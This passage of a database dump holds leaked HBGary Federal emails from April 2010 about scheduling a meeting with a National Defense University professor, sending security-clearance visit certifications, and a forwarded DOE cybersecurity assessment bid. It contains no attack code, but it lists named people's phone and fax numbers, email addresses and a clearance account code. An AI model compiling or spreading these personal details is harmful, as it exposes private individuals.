Inc.\r\n\r\n',7568,'aaron_hbgary_com/7568.html'),(5208,'2010-04-12','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003823.M379513P14101Q63.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Oops','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.&nbsp; Do you have SCI?&nbsp; If so, I will send you info\r\nfor getting your clearances over here.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 3:18 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Oops\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure. &nbsp;8-10 works for me. &nbsp;See you then.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 3:12 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI goofed.&nbsp; I&#8217;ve got something at 1000.&nbsp; Can we\r\ndo 0800 to 1000?&nbsp; Sorry.\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving&nbsp;\r\nSent:&nbsp;Monday, April 12,\r\n2010 3:10 PM\r\nTo:&nbsp;Aaron Barr\r\nSubject:&nbsp;RE: Follow up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231\r\nCrystal Drive, Suite 900.&nbsp; (The building where Ruth&#8217;s Chris Steak\r\nHouse resides).&nbsp; Are you SCI cleared?\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12,\r\n2010 12:12 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMorning of the 20th looks good. &nbsp;Just let me know where\r\nand time. &nbsp;I will block out the morning.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in\r\nperson.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp;\r\nLet&#8217;s get together and plan out some proposals that we can pitch to\r\nvarious agencies.&nbsp; I also think that we should put forward one or two\r\nideas for the Defense&nbsp;Acquisition Challenge program.&nbsp;\r\nHow&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail:&nbsp;lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9392,'aaron_hbgary_com/9392.html'),(5209,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003823.M606091P14101Q64.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Follow up','ok wait. &nbsp;I am confused.8-10? or 9-11?On the clearance which I forgot to answer, yes. &nbsp;You can find me in scattered castles, or if you need me to send a visit CERT I can contact the company that holds my tickets and get that sent out to you.AaronOn Apr 12, 2010, at 3:10 PM, Lachow, Irving wrote:Great.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231 Crystal Drive, Suite 900.&nbsp; (The building where Ruth’s Chris Steak House resides).&nbsp; Are you SCI cleared?Cheers,Irv&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 12, 2010 12:12 PMTo:&nbsp;Lachow, IrvingSubject:&nbsp;Re: Follow up&nbsp;Morning of the 20th looks good. &nbsp;Just let me know where and time. &nbsp;I will block out the morning.&nbsp;Aaron&nbsp;On Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:Aaron,Great to meet you in person.&nbsp; I’m excited about the opportunities that lie ahead.&nbsp; Let’s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense&nbsp;Acquisition Challenge program.&nbsp; How’s your schedule the morning of the 20th?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email:&nbsp;lachowi@ndu.edu&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7897,'aaron_hbgary_com/7897.html'),(5210,'2010-04-12','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003823.M868845P14101Q65.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry.&nbsp; It&#8217;s 0800 to 1000.&nbsp; Please have company send\r\nSCI clearances via JPAS using SMO code CRYS EAST or fax 703-746-1201, ATTN:\r\nChris Shears.\r\n\r\nThanks,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 3:24 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok wait. &nbsp;I am confused.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n8-10? or 9-11?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn the clearance which I forgot to answer, yes. &nbsp;You\r\ncan find me in scattered castles, or if you need me to send a visit CERT I can\r\ncontact the company that holds my tickets and get that sent out to you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 3:10 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231\r\nCrystal Drive, Suite 900.&nbsp; (The building where Ruth&#8217;s Chris Steak\r\nHouse resides).&nbsp; Are you SCI cleared?\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12,\r\n2010 12:12 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMorning of the 20th looks good. &nbsp;Just let me know where\r\nand time. &nbsp;I will block out the morning.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in\r\nperson.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp;\r\nLet&#8217;s get together and plan out some proposals that we can pitch to\r\nvarious agencies.&nbsp; I also think that we should put forward one or two\r\nideas for the Defense&nbsp;Acquisition Challenge program.&nbsp;\r\nHow&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail:&nbsp;lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2521,'aaron_hbgary_com/2521.html'),(5211,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003824.M341371P14101Q67.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Potential Opportunity','Lol. &nbsp;Tks. &nbsp;Its not...Cert and Accred. work is about as boring as it gets in the Cyber world. &nbsp;But its DOE which needs a lot of help and could lead to other things, we will check it out.AaronOn Apr 12, 2010, at 3:32 PM, Phil Wallisch wrote:Yeah it didn\'t sound overly cool but thought I\'d pass it on.On Mon, Apr 12, 2010 at 3:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks Phil. &nbsp;Ted and I are checking on this. &nbsp;The work described is more C&amp;A work, which is not our strong suite, but we know some folks that do this for a living and checking on whether or not they could sub to us going after this effort.\r\nAaronOn Apr 12, 2010, at 1:53 PM, Phil Wallisch wrote:Aaron,My friend owns a government contracting company.&nbsp; He sent me the following information.&nbsp; They do business with these guys:\r\nSubject: DOE Cyber Security\r\nAssessment&nbsp;Total Small Business set\r\naside.&nbsp; Response due 16 April at 11:59PM...&nbsp;Prime contractor to DOE NNSA,\r\nis seeking sources to perform an assessment of our cyber security program on a\r\nfirmfixed price subcontract.&nbsp; The\r\nSubcontractor shall perform a baseline assessment of the cyber program (3000\r\nemployees) based on the controlfamilies found in NIST SP\r\n800-53.&nbsp; Subcontractor shall provide two additional site visits (estimated\r\n1 week per visit) this fiscal year tomeasure progress in meeting\r\ndeficiencies identified during the baseline visit.&nbsp; Contractor key\r\npersonnel must have the ability to acquire a Q levelsecurity clearance. &nbsp;\r\nInterested parties must\r\ndemonstrate technical capability by providing brief approach of how the assessment\r\nwill be conducted (limited to 3 pages) anddemonstrate a minimum experience\r\nof 5 years and 3 assessments similar in scope and magnitude.If you\'re interested I\'ll get more info.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2619,'aaron_hbgary_com/2619.html'),(5212,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003824.M636569P14101Q68.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: Visit Cert','Hi Bill,\r\n\r\nCould you send a visit CERT to:\r\n\r\nIrving Lachow, 202.685.2060\r\nVisiting USDI @ 2231 Crystal Drive, Suite 900\r\nChris Shears\r\nFAX: 703-746-1201\r\n\r\nI am working on getting Chris Phone#.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 8, 2010, at 7:59 AM, Choate, William R (TASC) wrote:\r\n\r\n> Aaron,\r\n> \r\n> 	I never received a response from you providing:\r\n> \r\n> Point of Contact & Phone number:\r\n> Name of place you are visiting:\r\n> Security Point of Contact & Phone number:\r\n> FAX number:\r\n> \r\n> 	I cannot use JPAS to send your certs because we do not hold your\r\n> DOD collateral clearances.\r\n> \r\n> Bill\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 26, 2010 3:44 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Visit Cert\r\n> \r\n> Hi Bill,\r\n> \r\n> Could you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.  The\r\n> purpose is for some technical meetings and discussions.\r\n> \r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2946,'aaron_hbgary_com/2946.html'),(5213,'2010-04-12','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003824.M88813P14101Q66.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potential Opportunity','Yeah it didn&#39;t sound overly cool but thought I&#39;d pass it on.On Mon, Apr 12, 2010 at 3:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks Phil.  Ted and I are checking on this.  The work described is more C&amp;A work, which is not our strong suite, but we know some folks that do this for a living and checking on whether or not they could sub to us going after this effort.\r\nAaronOn Apr 12, 2010, at 1:53 PM, Phil Wallisch wrote:Aaron,My friend owns a government contracting company.  He sent me the following information.  They do business with these guys:\r\nSubject: DOE Cyber Security\r\nAssessment Total Small Business set\r\naside.  Response due 16 April at 11:59PM... Prime contractor to DOE NNSA,\r\nis seeking sources to perform an assessment of our cyber security program on a\r\nfirmfixed price subcontract.  The\r\nSubcontractor shall perform a baseline assessment of the cyber program (3000\r\nemployees) based on the controlfamilies found in NIST SP\r\n800-53.  Subcontractor shall provide two additional site visits (estimated\r\n1 week per visit) this fiscal year tomeasure progress in meeting\r\ndeficiencies identified during the baseline visit.  Contractor key\r\npersonnel must have the ability to acquire a Q levelsecurity clearance.  \r\nInterested parties must\r\ndemonstrate technical capability by providing brief approach of how the assessment\r\nwill be conducted (limited to 3 pages) anddemonstrate a minimum experience\r\nof 5 years and 3 assessments similar in scope and magnitude.If you&#39;re interested I&#39;ll get more info.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13660,'aaron_hbgary_com/13660.html'),(5214,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003824.M914786P14101Q69.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Follow up','Irv,Could you send me Chris\'s work #?Thanks,AaronOn Apr 12, 2010, at 3:25 PM, Lachow, Irving wrote:Sorry.&nbsp; It’s 0800 to 1000.&nbsp; Please have company send SCI clearances via JPAS using SMO code CRYS EAST or fax 703-746-1201, ATTN: Chris Shears.Thanks,Irv&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 12, 2010 3:24 PMTo:&nbsp;Lachow, IrvingSubject:&nbsp;Re: Follow up&nbsp;ok wait. &nbsp;I am confused.&nbsp;8-10? or 9-11?&nbsp;On the clearance which I forgot to answer, yes. &nbsp;You can find me in scattered castles, or if you need me to send a visit CERT I can contact the company that holds my tickets and get that sent out to you.&nbsp;Aaron&nbsp;On Apr 12, 2010, at 3:10 PM, Lachow, Irving wrote:Great.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231 Crystal Drive, Suite 900.&nbsp; (The building where Ruth’s Chris Steak House resides).&nbsp; Are you SCI cleared?Cheers,Irv&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 12, 2010 12:12 PMTo:&nbsp;Lachow, IrvingSubject:&nbsp;Re: Follow up&nbsp;Morning of the 20th looks good. &nbsp;Just let me know where and time. &nbsp;I will block out the morning.&nbsp;Aaron&nbsp;On Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:Aaron,Great to meet you in person.&nbsp; I’m excited about the opportunities that lie ahead.&nbsp; Let’s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense&nbsp;Acquisition Challenge program.&nbsp; How’s your schedule the morning of the 20th?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email:&nbsp;lachowi@ndu.edu&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1932,'aaron_hbgary_com/1932.html'),(5215,'2010-04-12','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297003825.M136177P14101Q70.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Visit Cert','Aaron,\r\n\r\n	What level clearances are required?  Is Chris the Security POC?\r\nWhen are you going?\r\n\r\nBill\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 3:38 PM\r\nTo: Choate, William R (TASC)\r\nSubject: Re: Visit Cert\r\n\r\nHi Bill,\r\n\r\nCould you send a visit CERT to:\r\n\r\nIrving Lachow, 202.685.2060\r\nVisiting USDI @ 2231 Crystal Drive, Suite 900\r\nChris Shears\r\nFAX: 703-746-1201\r\n\r\nI am working on getting Chris Phone#.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 8, 2010, at 7:59 AM, Choate, William R (TASC) wrote:\r\n\r\n> Aaron,\r\n> \r\n> 	I never received a response from you providing:\r\n> \r\n> Point of Contact & Phone number:\r\n> Name of place you are visiting:\r\n> Security Point of Contact & Phone number:\r\n> FAX number:\r\n> \r\n> 	I cannot use JPAS to send your certs because we do not hold your\r\n> DOD collateral clearances.\r\n> \r\n> Bill\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 26, 2010 3:44 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Visit Cert\r\n> \r\n> Hi Bill,\r\n> \r\n> Could you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.\r\nThe\r\n> purpose is for some technical meetings and discussions.\r\n> \r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9699,'aaron_hbgary_com/9699.html'),(5216,'2010-04-12','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003825.M380825P14101Q71.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure.&nbsp; 703-746-1221.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 3:38 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIrv,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCould you send me Chris\'s work #?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 3:25 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry.&nbsp; It&#8217;s 0800 to 1000.&nbsp; Please have company\r\nsend SCI clearances via JPAS using SMO code CRYS EAST or fax 703-746-1201,\r\nATTN: Chris Shears.\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12,\r\n2010 3:24 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nok wait. &nbsp;I am confused.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n8-10? or 9-11?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn the clearance which I forgot to answer, yes. &nbsp;You\r\ncan find me in scattered castles, or if you need me to send a visit CERT I can\r\ncontact the company that holds my tickets and get that sent out to you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 3:10 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231\r\nCrystal Drive, Suite 900.&nbsp; (The building where Ruth&#8217;s Chris Steak\r\nHouse resides).&nbsp; Are you SCI cleared?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12,\r\n2010 12:12 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMorning of the 20th looks good. &nbsp;Just let me know where\r\nand time. &nbsp;I will block out the morning.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in\r\nperson.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp;\r\nLet&#8217;s get together and plan out some proposals that we can pitch to\r\nvarious agencies.&nbsp; I also think that we should put forward one or two\r\nideas for the Defense&nbsp;Acquisition Challenge program.&nbsp;\r\nHow&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail:&nbsp;lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron 